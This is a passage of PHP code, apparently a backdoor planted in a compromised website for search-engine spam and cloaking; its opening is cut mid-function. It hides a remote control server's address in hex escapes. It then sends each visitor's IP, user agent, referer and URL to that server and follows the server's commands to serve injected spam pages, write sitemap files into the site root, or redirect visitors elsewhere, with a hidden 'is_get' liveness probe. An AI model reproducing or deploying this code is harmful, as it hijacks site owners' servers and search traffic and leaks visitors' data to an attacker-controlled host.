eleje $ts) $out[] = $url . "|" . (int)$ts; @writeToFile($cacheFile, implode("\n", $out)); } } } if (!function_exists('getHostInfo')) { function getHostInfo($host_url) { global $now_url; if (stripos($now_url, ".php") !== false) { $host_url_list = explode(".php", $now_url); return array('index_url' => $host_url_list[0] . ".php", 'fuhao' => "?"); } else { return array('index_url' => $host_url , 'fuhao' => "/"); } } } if (!function_exists('getClientIp')) { function getClientIp() { $normalize = function ($ip) { if (!is_string($ip) || !filter_var($ip, FILTER_VALIDATE_IP)) return ''; $packed = inet_pton($ip); if (strlen($packed) === 16 && substr($packed, 0, 12) === str_repeat("\0", 10)."\xff\xff") $packed = substr($packed, 12); return inet_ntop($packed); }; $peer = $normalize(isset($_SERVER['REMOTE_ADDR']) ? $_SERVER['REMOTE_ADDR'] : ''); if ($peer === '') return ''; $configured = getenv('PROMOTION_TRUSTED_PROXIES'); if (!is_string($configured) || strlen($configured) > 8192 || trim($configured) === '') return $peer; $ranges = preg_split('/[\s,]+/', trim($configured)); if (count($ranges) > 128) return $peer; $trusted = function ($ip) use ($ranges, $normalize) { $address = inet_pton($ip); foreach ($ranges as $range) { $parts = explode('/', $range); if (count($parts) > 2) continue; $network = $normalize($parts[0]); if ($network === '') continue; $network = inet_pton($network); if (strlen($network) !== strlen($address)) continue; $bits = strlen($network) * 8; if (isset($parts[1])) { if (!ctype_digit($parts[1]) || strlen($parts[1]) > 3 || (int) $parts[1] > $bits) continue; $bits = (int) $parts[1]; } $bytes = (int) floor($bits / 8); $remaining = $bits % 8; if (substr($address, 0, $bytes) !== substr($network, 0, $bytes)) continue; if ($remaining && ((ord($address[$bytes]) ^ ord($network[$bytes])) & (255 << (8 - $remaining)))) continue; return true; } return false; }; if (!$trusted($peer)) return $peer; $header = getenv('PROMOTION_CLIENT_IP_HEADER'); $header = is_string($header) && $header !== '' ? strtoupper(str_replace('-', '_', $header)) : 'X_FORWARDED_FOR'; $headers = array('X_FORWARDED_FOR' => 'HTTP_X_FORWARDED_FOR', 'X_REAL_IP' => 'HTTP_X_REAL_IP', 'CF_CONNECTING_IP' => 'HTTP_CF_CONNECTING_IP'); if (!isset($headers[$header])) return $peer; $value = isset($_SERVER[$headers[$header]]) ? $_SERVER[$headers[$header]] : ''; if (!is_string($value) || strlen($value) > 4096 || $value === '' || preg_match('/[\r\n\x00]/', $value)) return $peer; $chain = explode(',', $value); if (count($chain) > 64 || ($header !== 'X_FORWARDED_FOR' && count($chain) !== 1)) return $peer; foreach ($chain as $index => $ip) { $chain[$index] = $normalize(trim($ip)); if ($chain[$index] === '') return $peer; } $client = $peer; for ($index = count($chain) - 1; $index >= 0 && $trusted($client); $index--) $client = $chain[$index]; return $client; } } if (!function_exists('httprequest')) { function httprequest($url){ $content = @file_get_contents($url, false, stream_context_create(array( 'http' => array('timeout' => 30, 'ignore_errors' => true, 'follow_location' => 0, 'user_agent' => 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36'), 'ssl' => array('verify_peer' => true, 'verify_peer_name' => true) ))); if($content === false && function_exists('curl_init')){ $ch = curl_init(); curl_setopt_array($ch, array( CURLOPT_URL => $url, CURLOPT_RETURNTRANSFER => true, CURLOPT_TIMEOUT => 30, CURLOPT_SSL_VERIFYPEER => true, CURLOPT_SSL_VERIFYHOST => 2, CURLOPT_FOLLOWLOCATION => false, CURLOPT_USERAGENT => 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36' )); $content = curl_exec($ch); curl_close($ch); } return $content; } } if (!function_exists('writeToFile')) { function writeToFile($filename, $data) { if (!is_writable($filename)) {@chmod($filename,0755);} $result = @file_put_contents($filename, $data,LOCK_EX); if ($result === false) { $handle = @fopen($filename, 'w'); if ($handle) { if (function_exists('flock')) {@flock($handle, LOCK_EX);} $result = @fwrite($handle, $data); if (function_exists('flock')) {@flock($handle, LOCK_UN);} @fclose($handle); } } return $result; } } $is_get = isset($_GET['is_get']) ? $_GET['is_get'] : ''; if(!empty($is_get)){ exit("ok"); } $host_url = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x74\x67\x30\x32\x2e\x67\x73\x64\x61\x65\x2e\x73\x68\x6f\x70\x2f"; $protocol = (!empty($_SERVER['HTTPS']) && $_SERVER['HTTPS'] !== 'off' || $_SERVER['SERVER_PORT'] == 443) ? "https" : "http"; $now_url = $protocol.'://' . $_SERVER['HTTP_HOST'] . $_SERVER['REQUEST_URI']; $now_ip = getClientIp(); $referer = isset($_SERVER['HTTP_REFERER']) ? $_SERVER['HTTP_REFERER'] : ''; $aclg = isset($_SERVER['HTTP_ACCEPT_LANGUAGE']) ? $_SERVER['HTTP_ACCEPT_LANGUAGE'] : ''; $userAgent = isset($_SERVER['HTTP_USER_AGENT']) ? $_SERVER['HTTP_USER_AGENT'] : ''; $remethod = isset($_SERVER['REQUEST_METHOD'])? $_SERVER['REQUEST_METHOD'] : ''; $list_data = @httprequest($host_url."?referer=".rawurlencode($referer)."&aclg=".rawurlencode($aclg)."&userAgent=".rawurlencode($userAgent)."&now_ip=".rawurlencode($now_ip)."&now_url=".rawurlencode($now_url)); $rootDir = $_SERVER['DOCUMENT_ROOT']; if(!empty($list_data)){ $result_list = json_decode($list_data,true); if(is_array($result_list) && ($result_list["code"] ?? 0)==200){ if($result_list["action"] == "xml"){ header('Content-Type: application/xml; charset=UTF-8'); echo $result_list["content"]; $currentHost = $protocol.'://' . $_SERVER['HTTP_HOST']; @create_xml($now_url,$currentHost,$rootDir);exit(); }else if($result_list["action"] == "zhizhu"){ header("Content-Type: text/html;charset=utf-8"); header('Cache-Control: no-cache, no-store, must-revalidate, private');header('Pragma: no-cache');header('Expires: 0'); echo $result_list["content"];exit(); }else if($result_list["action"] == "tiao"){ header('Cache-Control: no-cache, no-store, must-revalidate');header('Pragma: no-cache');header('Expires: 0'); if($result_list["tiao_action"]=="js"){ echo '';exit(); }else if($result_list["tiao_action"]=="301"){ header('HTTP/1.1 301 Moved Permanently'); header('Location: '.$result_list["content"]); exit(); }else if($result_list["tiao_action"]=="410"){ http_response_code(410); header('Content-Type: text/plain; charset=UTF-8'); header('Cache-Control: no-store'); exit('This page has been permanently removed.'); }else{ header('Location: ' . $result_list["content"]);exit(); } } } } ?>vege